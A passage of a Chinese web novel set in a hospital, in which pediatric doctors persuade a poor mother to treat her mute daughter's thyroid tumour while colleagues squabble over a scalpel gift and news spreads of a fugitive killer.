其中一个丫头最可爱,就呆呆地坐在木凳子上看南栀,南栀让她吐舌头,她就把舌头伸得老长,南栀让她抬胳膊,小胳膊就不会放下去了。 俩人大眼瞪小眼看着彼此,一个不先说话,一个非要举着胳膊。 最后还是前来学师的阮乔看不下,硬是把小姑娘的胳膊按下去了。 “犟!都犟!” 午饭是箫珵去厨房打来送给她们的。 临走前,箫珵神秘地问道:“陆随今天来找过你吗?” 南栀摇头。 “这就怪了,应该来了啊。” 南栀说:“一般都是我去找你们会诊,你们不会来主动找我呀。” 箫珵:“……” 他妹妹眼中果然只有治病。 箫珵嘀嘀咕咕地走了。 下午又看了几个发烧的小朋友。 阮乔开始伸懒腰,“门诊也不比住院部轻松多少,换季的时候发烧感冒的真多。” 在祁念珍的授意下,阮乔现在跟着南栀一起在门诊,住院部那边有新来的医生。 南栀笑道:“每天都是这样的。” “还好没什么疑难杂症,不然我就露怯了。”阮乔吐槽道,“我都不敢想象陆教授平时都是看什么病,人家都说全科大夫是基层医生,什么都能看,但看什么都不精,我看她什么都精通。” 南栀想到陆嘉述提到的那段历史,道:“咱们想做到陆教授的程度,很难了。” “你想好了吗?主要研究哪方面?” 南栀摇头,“小孩子常做的手术也就那几类,我还没想好。” 阮乔说:“你得找个高难度的,不然都埋没人才了。” 两人刚说了几句话,一个女人领着一个女孩走进来。 女人穿得破旧,碎花上衣,袖口有补丁,普通的蓝色长裤,已经洗得掉色了。 穿得不好的人很常见,但像她这般不太打理自己的却不多。 她没梳头发,好像也没洗脸,眼睛附近黑黑的。 小女孩更是如此,穿得破破烂烂,脸很圆,眼睛像两颗葡萄,但是小脸上有很多脏污的痕迹,小手也不干净,指甲里全是泥。 母女俩都不干净的很少见。 柴倩美把荀芳美推过去,声音粗鲁,“赶紧坐下,看不到医生在等你?” 荀芳可怜巴巴地看了柴倩美一眼,爬到凳子上。 阮乔赶紧说:“别着急,慢慢来,孩子可能不舒服。” 柴倩美冷嘲道:“她能有什么不舒服?她一个小哑巴,舒服也不会说。” 阮乔拧起眉。 这当妈的怎么这样对自己的孩子? 不管怎么说都是身上掉下来的一块肉,孩子才多大,能做什么伤天害理不能原谅的事? 南栀问:“她不能说话吗?” 柴倩美翻了个白眼,“这不明摆着?赶紧查,我还有事。” 她说着从口袋里拿出一包烟。 烟盒是脏的,里面的烟都是半截的,像是捡来的。 柴倩美不耐烦地抽出半根,又找到火柴,正要点烟,被南栀拦住。 南栀声音温和,“医院里不能吸烟。” “规矩真多。” 柴倩美甩灭火柴,“那就快给她看。” 阮乔的眉头都快拧成面疙瘩。 这是什么态度? 对孩子不好,对医生也不好。 不想看病就别来嘛。 阮乔语气很冲,“她不会说话,你不说症状,我们怎么看?” 柴倩美看了阮乔一眼,没骂回去。 她说:“不爱吃东西,总说疼,喏,脖子这块。” 南栀摸了摸荀芳的脖子,有明显的肿块。 柴倩美说:“听说你们这里做过类似的手术,有什么厉害的教授。” 南栀问:“你已经去其他医院看过了?” “哦,村里的大夫说要去镇上,镇上说他们处理不了,让来临川市。” 南栀看向二人的鞋,都已经磨破了。 南栀问:“家里条件好吗?” 柴倩美说话依然很呛,“这还看不出来?我看起来像是有钱人?” 阮乔不满道:“你不能好好说话?只会骂人?” 南栀掏出钢笔写病历。 “颈前肿块已经很大了,活动度大,淋巴结肿大,先做超声吧。” 柴倩美问:“多少钱?” 阮乔又拧起眉。 虽说不能苛责病人家属,但也不能事事都看钱,孩子都生病了,还能不给看吗? 南栀说:“一次需要26元。” “能查出来是啥病吗?” 南栀看向荀芳。 荀芳不会说话,是哑巴,但很乖。 “如果让我用经验判断,可能是甲状腺肿瘤。” 肿块界限清晰,活动度好,淋巴结肿大。 柴倩美问:“这是啥病?要怎么治?” 南栀说:“要先做检查才知道,不过她的大小,可能要切除,动手术的话要住院,后续要吃药,一套做下来,可能要准备个一千块。” 柴倩美面色苍白,“这么多钱?!” 她把荀芳拉起来,“不看了,走,不治了!” 第59章 第59章舔舔嘴唇 柴倩美把荀芳拉出诊室。 诊室其他病人频频看过来,有人劝道:“就听医生的吧,自己的孩子自己不心疼,还能有谁心疼?小姑娘多可怜啊,一出生就不能说话。” 柴倩美狠狠瞪着她,“你有钱你来给治?你倒是不用出钱,站着说话不腰疼!” “哎!这是钱不钱的问题吗?” 柴倩美却不愿意搭理他们,执意要将荀芳带走。 阮乔被气得够呛。 没钱能理解,大家一起坐下来想想办法,医院遇到资金紧张的患者,也会提出一些更便宜的治疗方案,哪有直接把孩子带走的? 柴倩美态度坚决。 荀芳长得可爱,又不会说话,她不知道自己的命运,只是乖乖地 跟在柴倩美身后,完全不知道发生什么。 越是如此,大家看着越心疼,有家长忍不住走出来,“实在没钱,你可以管亲朋好友借一借嘛,大不了去募捐,是脸面重要还是孩子的命重要。” 她从兜里掏出一些零钱,“我带的钱不多,我带头,先给你一些。” 女人掏出的钱大多是一毛两毛的,一分五分的也有。 她仔细地点好钱,自己留下两张一毛的,剩下的都塞给柴倩美,“这是五块钱,这样一来,你听医生的去拍片子,就只要二十块了。” 柴倩美诧异地看着她。 女人苦笑道:“我家三个娃,身体都不好,老大没机会治就走了,现在老二也遗传了。” 柴倩美目光复杂,把钱推回去,“我们不要。” 她再次抓起荀芳的手,“走。” 柴倩美的行为引起众怒。 “你这什么人啊,人家和你素昧平生,都想着先给孩子拍片子,这都不乐意。” “要不咱大家伙凑一凑,二十多块钱嘛,起码要让孩子确诊。” “我同意,我姑娘长得这么好看,不会说话,多可怜。这么大还不会写字吧?表达疼都困难!” 柴倩美的脸颊再次涨红,她气愤地摆动手臂,“和你们有关系吗?多管闲事!让开路!我要走!” 南栀叫住她,“等等。” 柴倩美回头,警惕地看着南栀,好像她是洪水猛兽。 南栀说:“你去过其他医院,其他医生一定也有自己的判断,你不愿意治疗,我不强迫你,但我作为医生,得把情况和你说清楚,你坐下来听一听不收钱,没问题吧?” 不收钱的事再拒绝似乎不太好。 柴倩美又坐了回来,“你说吧。” 南栀道:“孩子的颈前有肿块,可以清晰摸到,相信你也摸到了。” 柴倩美点头。 “肿块可能和淋巴结、甲状腺唾液腺有关,也可能和皮肤、血管有关。我用经验判断,和甲状腺有关的可能性更大。” 柴倩美冷淡道:“你说了,是什么癌,治不好。” 阮乔道:“谁说治不好了?!甲状腺癌是预后最好的癌症!” 柴倩美讥讽道:“你敢说百分之百能治好?就没有因为这癌死了的?” “你……真犟!” 南栀说:“甲状腺癌分分化型和未分化型,未分化型的确是高度恶性的,五年生存率小于10%。” “你听听!” “但未分化型的比例小于2%,分化型的甲状腺癌比例更高。其中最常见的是**状癌,生长缓慢,预后非常好,生存率高。一切顺利的话,甚至能和普通人一样正常生活。” 柴倩美道:“你也说了,这是最常见的,没有例外?” “也有,”南栀道,“前段时间有患者合并多发性内分泌腺瘤,他是甲状腺髓样癌,很少见,只有3%到5%,如果把髓样癌当作常见的**状癌来治疗,的确会有问题,但即便是这类,十年生存率也在40%以上。” 柴倩美耸肩,“也就是说,她可能活不了几年就没命了,钱白花了。” 诊室内诊室外的人都被她气得翻白眼。 南栀的任务得完成,她也不太生气,总归柴倩美还没带着荀芳去自尽,比她妈强。 她继续说道:“从医生的角度,荀芳的年纪,我们强烈建议治疗,但没有百分之百的事情,作为医生,不能和你保证一定不会人财两空。” 在医院里,没有哪个医生敢拍着胸脯说一定能把癌症患者治好。 就算是其他小病,也得留点余地。 但如果强烈建议治疗了,最好还是听医生的话。 柴倩美却说:“知道了,你说完了?” 南栀点头。 柴倩美道:“行,那我先走了。” 她拍拍荀芳的肩膀,小姑娘朝南栀笑笑,然后乖乖跟上柴倩美。 柴倩美对荀芳说道:“今天没钱吃饭了,只有窝窝头,有俩,只能分给你一个。” 荀芳摇着柴倩美的手,看起来很开心。 阮乔看得头痛,实在没忍住,追上柴倩美。 “你等等。” 阮乔从口袋里翻出一张完整的十块钱。 杨芬来临川市后,她为了租房子花了一些钱,最近也很拮据。 阮乔说:“不治就算了,我也没一千块让你给孩子治病,不过得好好吃饭,她都吞咽困难了,还能吃窝窝头吗?这钱你拿去吃饭。” 柴倩美目光冰冷,“不要。” “你俩!你俩一起吃饭!”阮乔的脾气比柴倩美还急,她直接把钱塞给柴倩美,转身就走。 柴倩美接过钱,唇动了动,到底没再说什么。 阮乔气呼呼回到诊室,“怎么有这样的妈!” 南栀也觉得奇怪,“她为什么不肯给荀芳治疗呢,为了钱?” 南栀以前听人家说过,在后世,都有人为了省几千块钱把命搭进去。 不管是穷人还是富人,这都是不值得的。 阮乔说:“不在乎孩子呗!孩子是哑巴,是累赘,不想养了,正好生病,赶紧死了拉倒。” “可她又带着孩子走了很多路去看病,不像是不在乎孩子死活的。” 阮乔道:“你还小,不知道人心险恶,样子做到位,人家就不会说闲话了,她就是一分钱都不想出。就算家里没钱,没有亲人朋友吗?先借一点治病也行啊!你都说了,这病预后非常好!” 南栀摇头,“算了,她没拍过片子,我只是按照经验判断。” 柴倩美和荀芳只是小插曲,下午的看诊还得继续。 快到下班时间,盛昭云来到诊室。 她现在也出诊,但是还得干主任的活儿,办公室都搬到主任办公室了。 盛昭云有些头痛,“你们几个就不能争点儿气来做主任?” 阮乔笑嘻嘻道:“还是你最争气,我能来门诊就不错了。” 盛昭云眼中已经失去光芒。 马上要评职称,南栀以个人名义投到全国医学刊物的病例多,手术又做得好,这次差不多能评上主治医生。 祁念珍要求盛昭云先评上副主任医师,还需要代理主任的工作。 不知为何,祁念珍劝盛昭云时的笑容,看起来像坏笑。 做主任哪有她只做医生时逍遥自在? 没事怼怼患者家属,闲得无聊骂骂领导,多快乐! 没一会儿,陆随也推门走进来,“已经没患者了?” 阮乔说:“今天看得快,能等下班了。” 陆随点头,递给南栀一个长方形的盒子。 南栀好奇道:“这是什么?” 陆随说:“礼物。” 阮乔和盛昭云都凑过来。 陆医生送礼物,还是送给南栀的,她们能不好奇吗? 尤其是阮乔,虽说他们总说只是为了应付家里,但在阮乔看来,这分明只是遮掩! 阮乔兴致勃勃道:“是项链?手链?戒指?护肤品?听说你有家人在国外的医院,是不是带了进口产品来啊。” 这会儿大家对进口产品还有着高端上档次的印象。 陆随想了想,说:“是进口的。” “哇,栀栀,快拆开!” 南栀点头。 礼物没包装,只是个黑色的盒子,她找到开关打开盒子,看到里面放着…… 阮乔:“……” 她问:“你送女孩子这东西?” 陆随说:“是进口的。” 阮乔:“……” 就算是进口的,也不能…… 陆医生还想约女生?不把女生得罪光就不错了。 阮乔刚想让陆随去换首饰,就听到南栀兴奋的声音,“手术刀?看起来和我们用的不一样诶。” 盛昭云道:“这礼物真不错,哪里找的?” 阮乔:“……” 忘了,她们儿科这两位和普通的女生不一样。 陆随笑道:“陆教授从国外带回来的,别人送给她的,她没用,我就拿来了。” 阮乔:“……” 虽然贵重,但也没花钱。 这倒不是陆随不想花钱,但是如果再从国外买来,运输要很长时间,他暂时也没有亲戚要从国外回来。 箫珵说了,要送南栀喜欢的礼物,他觉得手术刀很好。 他喜欢,他猜南栀也喜欢。 箫珵今天没排手术,也坐诊,到了时间就能下班。 他换好衣服,绕到儿科门诊,听到里面传来欢声笑语。 箫珵走进去,一边是面无表情的阮乔,另一边是高兴三人组。 箫珵好奇道:“他们笑什么?” 阮乔:“陆医生送给栀栀一份礼物。” “是吗?”箫珵挑眉,“真开窍了?送了什么,鲜花?金子?首饰?” 南栀看起来很高兴,他也得学学,跟着陆随一起送。 阮乔说:“哦,手 术刀。” 箫珵:“……” 讨南栀的欢心,还真得送病人啊?! 几人现在都挺忙,又不在一个科室,见面时间不多。 以前箫珵不方便总往儿科跑,现在有了陆随就方便多了。 他打着好兄弟的旗号,总和陆随一起过来。 这样大家就不会说闲话了吧? 心外其他人:防火防盗防兄弟! 他们约好一起去小饭馆。 除了南栀,其他人家里的条件都不错。 南栀其实也还好,她现在每个月工资一百多点,韦宁雨能帮她卖笔记,变着法地卖,听说现在都卖到隔壁几个市了。 韦宁雨还想做成书卖,可惜还没出版社搭理他。 南栀觉得耳熟。 笔记,做成书。 书…… 哦,教辅。 他们刚收拾好,韦宁雨才气喘吁吁跑过来,“现在都背着我玩了?别太过分啊。” 阮乔道:“你不得给小朋友们打针吗?我们怕耽误你。” “呸,等我也去南栀的那个什么辅导班,迟早做医生给你看。” “拉倒吧,你上的是卫校,你以为谁都是南栀哦。” 几人吵吵嚷嚷往外走。 隔壁几个科室还没来得及走的医生探出头。 “心外的人怎么天天和儿科混在一起?” 另一人说:“他们怎么天天精力充沛?心外不用做手术?” 两人对望一眼,长叹,“老了!” 走出医院,陆随和箫珵一起去找车,一辆车坐不下这么多人。 南栀在门口等车时,看到两个熟悉的身影。 柴倩美和荀芳倚着栅栏,坐在树荫下发呆。 天气越来越冷,南栀早就换上薄大衣,她们衣服单薄,也不找个能挡风的地方。 阮乔也看到两人,小声说道:“不会要露宿街头吧,我不是给他们钱了吗?” 盛昭云道:“你又给患者塞钱?” “呃,我是看孩子太可怜……” 盛昭云提醒道:“可怜的人很多,我们大概率可怜不过来。” 阮乔也知道这个道理,但就是于心不忍。 南栀摸了摸口袋,她的钱基本上全都交给黄春兰打理,实在不多,但应该还有几块钱。 她走过去,“你们还没找到睡觉的地方?” 柴倩美恍惚地看向南栀。 从出现在医院后,她一直是心不在焉的状态。 不太关心荀芳,也不太关心自己。 南栀从她眼中总是能看到莫大的哀伤,但好像不是因为荀芳。 南栀说不清楚,她只知道柴倩美不是普通人,可能有苦衷。 南栀说:“医院附近的招待所价格稍微贵一些,最近涨钱了,你往远处走走,有便宜的。” 柴倩美干涸的唇轻轻动了动,但没有声音。 她的五官其实蛮端正,但从未打理过,浓眉不太对称,脸上还有细小的划痕。 手上有冻疮,冬天还没来,应该是从前留下的。 她们走了很多路,鞋尖还有已经干了的血迹。 南栀又说:“如果你有其他外伤,我可以带你去处理,不要钱。” 柴倩美收起脚。 荀芳趴在柴倩美怀里睡觉。 很奇妙,外面的风很大,但柴倩美怀中好像没有。 柴倩美声音沙哑,“治好的概率真的很高吗?” 阮乔抢着说:“预后很好。” 盛昭云怕阮乔说错话,补充道:“要先检查。” 柴倩美低头看着荀芳,“好,我们查。” * 晚上没法拍片子,南栀就没让她们立刻住院,能省一晚上的钱。 第二天柴倩美又带着荀芳来看病,还遇到昨天几个老熟人。 “终于来了,孩子的命最重要嘛!” 柴倩美低头不语。 南栀尽可能给荀芳减少检查项目,省钱。 但绝大部分项目都不能省,得先确诊才行。 她还给影像那边打了电话,结果出来后第一时间告诉她。 超声显示,右叶甲状腺囊实性结节,右颈前肿物4.0*2.0*2.0cm,血清甲状腺球蛋白达到318.29ng/ml。 荀芳需要做手术切除,术中和术后都会送检,出病理后才有定论。 中午在食堂,南栀和阮乔一起研究荀芳的片子。 现在虽然能拍X片,也能做超声和CT,但技术远远达不到后世的程度,分辨率太低,难以发现细小病灶。 预后虽比其他癌症好,但因为是开放手术,手术创伤更大。 化疗药物较为传统,效果也差,南栀得找到最好的治疗方案。 “这个大小必须手术了,是髓样癌的可能性高吗?” 南栀道:“影像看不太清楚,更清晰些的话会更好判断。术后的放射性碘治疗是个问题,现在大多数患者都在接受大剂量的放射性碘治疗,不够精准,长期辐射暴露可能增加继发白血病的风险。” 阮乔问:“如果是你们的时代,怎么治疗呢?” “有高分辨率的超声,毫米级结节都可以查到,可以微创手术,放射性碘治疗也会分期分层,靶向药比较多,效果更好。” 阮乔羡慕道:“科技发达真好,就现在的医疗水平,我听你说话都像在瞎编。” 韦宁雨走过来放下餐盘,“柴倩美到底想不想给荀芳治病?” “怎么了?” “她今天上午把人送过来,然后就消失了,我们护士长想催她去缴费,根本找不到人。你们说她该不会是想把孩子丢在医院不管了吧?” 这种人有不少,还有人不想要孩子,就把孩子送到医院附近。 把孩子送到医院的,医生还得感谢他们,总算没直接丢在厕所,或者干脆掐死。 阮乔无奈道:“她是真的不想治啊?” 南栀说:“看她昨天的反应,不像啊。” 更像是已经想通了。 阮乔道:“我们还是做好准备吧,如果她不回来,这手术是做还是不做?” 如果是城市职工,费用是可以报销一部分的,但柴倩美是农村户口,不是工人。 她走了几十公里路带孩子来看病,说跑就跑了? 南栀道:“和护士长商量商量,再等等,手术的话先往后排。” “唉,愁人。” 晚到的韦初雪没去找熟悉的同事,她坐到南栀对面,“又要做手术?” 阮乔道:“做不着了,亲妈跑了。” 韦初雪说:“这种情况不少见,再亲也不是救自己的命。” “你也太悲观了,”阮乔道:“你爸妈不是对你挺好的嘛?” 直到现在都更喜欢韦初雪,无法接受韦宁雨。 韦初雪声音冷漠,“再亲的人,也有不为人知的一面。” “那两位?”韦宁雨凑过来,“你和我说说,我想去嘲笑他们。” 韦初雪白了他一眼,“无聊。” 韦宁雨瘪嘴。 刚到韦家时,亲生父母让他把韦初雪当成妹妹,有这么不听话的妹妹吗? 找妹妹得找南栀这种啊,天天说箫珵是她哥,对人家那叫一个好,也不知道一个姓萧,一个姓南,咋成兄妹的。 “喂,你头疼是不是因为说话太毒?”韦宁雨道,“我听说有些人啊,舔舔嘴唇就把自己给毒死了。” 阮乔憋笑。 南栀问:“你头疼?” 韦初雪点头,“没有大碍,应该是皮肤病导致的。” “皮肤病会导致头疼?”南栀道,“持续时间长的话,还是去做个检查比较好。” 韦初雪轻声叹气 ,“哪有时间去检查,每天都很忙。” 韦宁雨道:“把康宁医院发扬光大的任务就交给我们南栀好了,你休息休息,不碍事。” 韦初雪说:“如果你死了,应该也是因为舔了嘴唇。” “我这是说实话,这叫真诚。” 韦初雪道:“这是自私者的愚蠢。” 韦宁雨:“……” 小嘴叭叭的,只会骂人! 南栀叮嘱道:“反正你那边离神内不远,抽时间去看看好了。” 韦初雪点头,“知道了。” 韦宁雨:“……” 倒是挺听南栀的。 陆随和箫珵好像也很听南栀的话。 韦宁雨发现了新大陆。 在康宁医院,他最该讨好的人其实就是南栀啊! 看看人家南栀,把康宁医院曾经最有前途的三个人抓得牢牢的! 韦宁雨把自己的粥端给南栀,“南姐,以后发达了记得罩着我!” * 柴倩美已经消失一整天。 晚上南栀结束门诊,和阮乔一起去住院部转了一圈。 其他小朋友倒还好,大概是井珧留下来的风气,大家都挺乐观,还喜欢胡作非为。 阮乔吐槽道:“井珧现在和妈妈一起住,倒是不愿意住院了,但你看看这些孩子,一个两个的都想上天。不过倒是也有好处,起码不是死气沉沉的。” 两人走到荀芳的病房。 儿科的队伍壮大后,病房数量都比从前多了。 荀芳住的是三人间,隔壁两张床都有人住,而且都有家长陪护。 其中一个孩子甚至来了四个家属,父母和奶奶、姥姥都过来了。 荀芳一个人躺在床上玩魔方。 阮乔低声道:“魔方是韦宁雨给她的,柴倩美不在,她也不闹,饿了不知道找人,还是韦宁雨去给她打了一份饭,她吃得特别香,看起来好几顿没吃了。你说她家到底穷成什么样啊,孩子生病了,吃饭的钱都没有?” 荀芳很聪明,从前没玩过魔方,自己转了一下午,竟然慢慢摸出些门道来,下面两层都已经拼好了。 南栀道:“柴倩美没回来,今天晚上我留下看着荀芳吧。” “你都忙了一天了,我比较熟悉住院部,我留下。” 南栀摇头,“我还有话想问她。” 第60章 第60章杀人犯 南栀去食堂给荀芳打了一份晚饭,用的是她的券。 挺心疼的,她平时都不舍得吃太多肉,还特意给荀芳要了两个大鸡腿。 不过孩子嘛,正是长身体的时候,她已经长到头了,就让给荀芳。 南栀给荀芳搭起小桌板,让她吃饭。 走廊有人推着平车离开,每次遇到这种情况都不太好,但南栀习惯了。 荀芳吃得很香,小手一直拉着南栀的胳膊,想把鸡腿塞给她。 南栀死盯着鸡腿说:“你吃吧,姐姐不馋。” 一点儿都不馋。 南栀拿出事先准备好的本子和笔,“你会写字吗?” 荀芳摇头。 隔壁床的小朋友跑过来看荀芳吃饭,“她为什么不说话?” 家长赏了自家儿子一巴掌,“像你一样天天叭叭的?吵得我头都疼!” 儿子委屈巴巴。 另一张床的小朋友拿来两个饼干递给荀芳。 住院的小朋友们互相之间都挺愿意交流的。 ……也是传承了井珧。 三人凑在一起玩了起来。 南栀也不好再问荀芳,只能先等等。 她让荀芳先吃饭,打算去找个陪护床。 今天她不加班,就不去办公室睡了。 南栀刚出门就看到乱窜的郁格。 郁薇的孩子情况逐渐好转,不过还不能出院,郁格总是跑过来看。 偶尔还顺便看看南栀。 果不其然,郁格一看到南栀就龇起大牙,“南栀!” 他小跑过来,“你又值班啊。” 南栀说:“有个孩子家长不在,我帮忙照看。” “医生还要做这些?”郁格紧张兮兮道,“你是要晚回家?那你一定要小心,听说最近有流窜杀人犯跑过来。” 南栀好奇道:“临川市吗?” “对啊,你没看报纸?” 南栀看医学期刊比较多,“没呢。” 郁格绘声绘色道:“是个男人,而且是奸杀,死者好像是个小孩儿,年纪不大,应该有十三四岁?这种人丧心病狂,太危险了,所以……” 他自荐道:“我送你回家吧!” 经过的护士朝南栀挤眉弄眼。 郁格的心思,谁还看不出来哦? 南栀看不出来,她奇怪道:“为什么送我回家?” “一个人多危险,你年纪也不大,可能被杀人犯盯上。” 南栀说:“不用啊,我今天不走,就算走,也可以去找我哥嘛。” “啊?你哥也在这家医院?” 没听说还有个南医生啊。 郁格悻悻道:“那真是太可惜了。” * 陆随下午两点上台,手术一直做到晚上七点钟。 手术难度较大,人手不够,正好箫珵原本要做手术的病人执意出院,他空下来,便一起去台上帮忙。 箫珵虽然经常和陆随吵架,但给陆随做助手,也算心甘情愿。 这家伙明显越来越顺手,手速极快。 手术结束,一切顺利。 箫珵低声提醒道:“后续的药也要改一改。” 陆随和南栀都会尽量按照后世的手术步骤来。 陆随点头。 箫珵又看到陆随的手术刀,“好像和你送给南栀的一样。” “是啊,两套,”陆随说,“我留一套,给她一套。” 箫珵:“……” 怎么有点不开心呢? 箫珵说:“你什么意思啊,干嘛和我妹妹用一样的?” 陆随微怔,“不是你让我送她礼物的?” 箫珵:“……” “我让你送礼,是帮你追她,谁让你送手术刀了!” 箫珵十分矛盾。 偶尔想支持陆随,偶尔想抽他。 “我?”陆随更惊讶,“我追她?” “你不是喜欢她吗?!” 陆随愣了好一会儿,“有吗?” 箫珵:“……” 合着南栀和陆随都没反应,只有他热心? 箫珵头一次觉得自己眼瞎。 这俩人看着挺好的,都没那方面的意思? 如果都没有…… 那他该高兴啊! 陆随催道:“你到底是什么意思?” “没,”箫珵说,“什么都没有,我去看看南栀。” 陆随拧起眉,洗干净手后追上箫珵,“南栀今天不值班。” “你连她值不值班都知道?” 就这还说不惦记她? 陆随说:“这种东西,看一遍不就记住了?” 箫珵:“……” 其实有的时候他真的不太想和陆随还有南栀说话。 伤人。 两人一起去儿科转了一圈,听没下班的护士说,南栀人在住院部。 箫珵和陆随一言不发地往住院部走。 走到一半,箫珵才说:“我去看妹妹,你也看妹妹?” 陆随:“……我去帮忙。” 箫珵白了陆随一眼。 俩人表情很怪,路过的医生护士频频侧目。 “萧医生和陆医生关系又好了?” “现在是经常走在一起,不过我怎么觉得他们的表情像是……要吃了对方??” 刚到儿科走廊,箫珵就看到正和郁格聊天的南栀。 箫珵停下来,表情更怪 ,“郁格总来找南栀吗?” 陆随拧着眉不说话。 箫珵说:“听说他是消防员,论能力,一般吧,肯定不如南栀。” 陆随说:“长得也一般。” “南栀现在家里的条件虽然不太好,但她不可能一辈子留在康宁医院对不对?她将来肯定能赚到钱,就得找个家里有钱的。” 陆随点头,“对。” 箫珵:“这人不行。” “不行!” 两人朝南栀走去。 刚路过的段嘉茫然道:“萧医生和陆医生?他俩要干嘛,杀人去?” 梁梦说:“看着像。” 南栀正和郁格说话,身后突然蹦出来两个人。 “哥?陆随?你们怎么过来了?” 郁格认识陆随,但不认识箫珵。 他以为箫珵就是南栀的亲哥,赶紧说:“你好,我是郁格。” 箫珵忽视他伸过来的手,冷漠道:“你姐最近情况不错。” 郁格:“恩?” 陆随:“医药费够用?” 郁格:“这……” 箫珵:“人还没出ICU,你还有时间乱逛?” 陆随:“医药费还没筹够,你眼里有没有你姐?” 郁格:“……” “自己姐姐都不管,人渣。” “败类。” 郁格:“……” 郁格高大的身躯摇摇欲坠。 “我,我只是……” 箫珵:“你对得起你姐?对得起里面的孩子?” 陆随:“呵,看来你无所谓。” 郁格满脸羞愧,“不好意思不好意思,我现在就去看我姐,我……呃,是ICU不让我进的啊?” 等郁格自责完抬头时,南栀已经被箫珵和陆随架走了。 郁格:“……” 这是什么情况? 两人把南栀带到楼梯口,没其他人。 箫珵叮嘱道:“你不要随便和男人接近,你知道男人都是什么东西吗?没一个好东西!” 南栀:“……啊?” 她看看箫珵,又看看陆随,想看看他俩哪个不是男性。 陆随说:“才几句没说到,你就不注意,他能行吗?他条件不好。” 南栀满脸问号。 箫珵道:“总而言之,不管你和哪个男人接触,你都得先告诉我,我帮你把关。” 陆随很积极,“还有我。” “我俩允许了,你才能和他交往!” 南栀:“……” 还得交往吗? 箫珵苦口婆心,“你放心,我又不是封建大家长,只要人好,我们不会反对你们。” 南栀愣了一下,抓住矛盾点,“郁格人不好吗?” 箫珵:“他丑。” 陆随:“还穷。” 箫珵:“没前途。” 陆随:“负担重。” 南栀:“……” 不是说只要人好吗? 她把两人推出去,“想什么呢,郁格是病人家属,我俩怎么会往这方面发展?你们快回家吧,别耽误我做事。” 箫珵挣扎着回头,“你没看出他在追你啊,送花,你忘了?” 南栀说:“追我干嘛,我又没跑。” 箫珵:“……” 这傻子,他能不担心吗? 陆随终于露出笑容。 他心事去了一大半,轻松道:“你不值班怎么留下了?” 南栀将荀芳的事告诉两人。 “柴倩美上午离开就没再回来过?”箫珵说,“这得报警吧,也不能一直拖着。” “我们想再等等,起码等个两天吧。” 箫珵道:“我也遇到过把孩子扔下离开的,一般不会回来了,良心发现的比较少。” 南栀愁道:“可荀芳如果能动手术,预后还是不错的。” “放心吧,真扔在这里了,医院也不能再给扔出去,就按你说的,等等再说。” 二人正要陪南栀去看看荀芳,一个浑身脏兮兮的女人挎着篮子走进来。 南栀愣了一下才认出是柴倩美。 “你怎么……” 柴倩美说:“没赶上车,来晚了。” 南栀看向她的鞋,鞋尖又有血迹了。 南栀道:“我先带你去清理伤口吧。” “不用,”柴倩美从篮子里取出三百块钱,“这是我攒的钱,剩下的我再去筹,还有时间吧?” 这三百块都是一毛两毛的。 柴倩美会编筐,拿到集市上卖,能赚点儿小钱。 她家里条件不好,这三百还不知道要攒多久。 南栀点头,“慢慢筹,不着急,不过你这伤……” “习惯了,”柴倩美道,“我先去交钱,等会儿再说。” 她还带了些干粮,看起来这就是她们这几天的三餐了。 柴倩美走进病房,其他家属见她立刻说道:“你可终于来了,我们还以为你真跑了。” “医生到处找你,找了好几圈。” “这孩子还能治,能治就是幸运的,千万别放弃。” 南栀在病房门口等了会儿,带柴倩美去交费。 她不认字,也不会写字,南栀帮她确认费用。 “你是林村的柴倩美,荀芳是你女儿,对吗?” 柴倩美愣了一下,不自然地点了下头。 “好,这就办好了,费用这方面我们会尽量帮你节省。你去陪荀芳吧。” 柴倩美赶了回来,南栀就不用留下照顾荀芳。 她收拾好东西想离开,一扭头看到箫珵和陆随都没走。 南栀好奇道:“你们怎么一直跟着我?” 箫珵问:“你对郁格……” 陆随紧张地看着她。 南栀无奈,“我能把郁格怎么样,还能给他开一刀吗?” 陆随彻底放心了。 “对了,”提到郁格,南栀想到他说的杀人犯,“听说有杀人犯逃窜到临川,是真的吗?” 箫珵说:“不知道,没看报纸,不安全是真的,到处都没监控,以后你下班晚,我得送你回家。” 陆随道:“我看了,的确有报道,是杀了十三岁的女孩,从林村逃到临川市的那个?” 南栀停下,“从林村逃来的?” 陆随点头。 柴倩美和荀芳也是从林村来的。 她们还舍不得坐车,一路走过来……更不安全吧? 箫珵和陆随还在争。 “我不是说了送她回去吗?你可以回家休息了。” “你做手术太累,还是你去休息。” “真搞笑,你是主刀,我比你累?!” “反正你的身份不合适。” 南栀:“……” 她捂住耳朵,默默绕开两人。 陆随和箫珵哪里都好,就是吵,太吵。 真不知道他们总是在吵什么。 两人追着南栀往外走。 段嘉再一次路过,“哎,陆医生和萧医生杀完人了?挺高兴。” 梁梦说:“我看像。”【魔蝎小说 mo xie xs .c om】 60-70 第61章 第61章抓走吧 南栀下班后还得锻炼。 提升体力、锻炼臂力,手术时更稳,挨家属地揍时能还手。 箫珵最终还是没能争得过陆随,毕竟陆随现在光明正大,他只能在阴暗里爬行。 陆随强调,“咱们的班基本上一致,以后你等我过来再一起走。” 南栀问:“为什么我们的班一样,你们应该比我们更忙呀。” 陆随:“……巧合吧。” 南栀怀疑地看着他。 陆随下意识想作委屈的表情,还没做出来就停住了。 不对不对,他已经换大号了,不能再有当小孩的习惯。 南栀说:“学长,撒娇不能解决问题哦,你早就过了可爱的年纪了。” 陆随:“……” 他恶狠狠地揪住南栀的脸颊,捏了两下,“你和你哥趁我还是孩子做的事,别以为我会忘了!” 南栀心虚得不敢说话。 陆随开车。 这年代的车不太好开,全是手动挡。 对于一个开惯自动挡的人来说是种折磨。 不过临川市的车倒是没那么多,基本不会遇到堵车的情况。 走了几分钟,南栀的心虚渐渐缓解,她怀念道:“你当小孩子时还蛮好的。” 陆随:“?” 南栀说:“可爱还听 话,多好啊。” 陆随不想说话。 南栀:“而且啊,我帮你擦身体、换衣服的时候,你还……” 陆随:“如果外面有杀人犯,我现在就把你扔下去。” 南栀:“……” 嘁,小心眼。 家里人也在讨论这件事。 黄春兰和奶奶一边和面一边议论,“好像又杀了一个,我是听人家说的,就是林村过来的那个人。” “孩子也太可怜了,怎么专挑孩子下手?” 南明杰刚下班,在客厅里泡脚,插话道:“南栀最近也得小心,别以为上班就是年纪大了,你才几岁?” 黄春兰跟着吓唬道:“你看外面,天一黑就黑灯瞎火的,加班就说一声,让你爸去接你。” 南栀说:“陆医生送我回来的。” “小陆?小陆还挺上心,”黄春兰露出欣慰的笑容,“这孩子挺好,如果家里普通点,就更好了。” 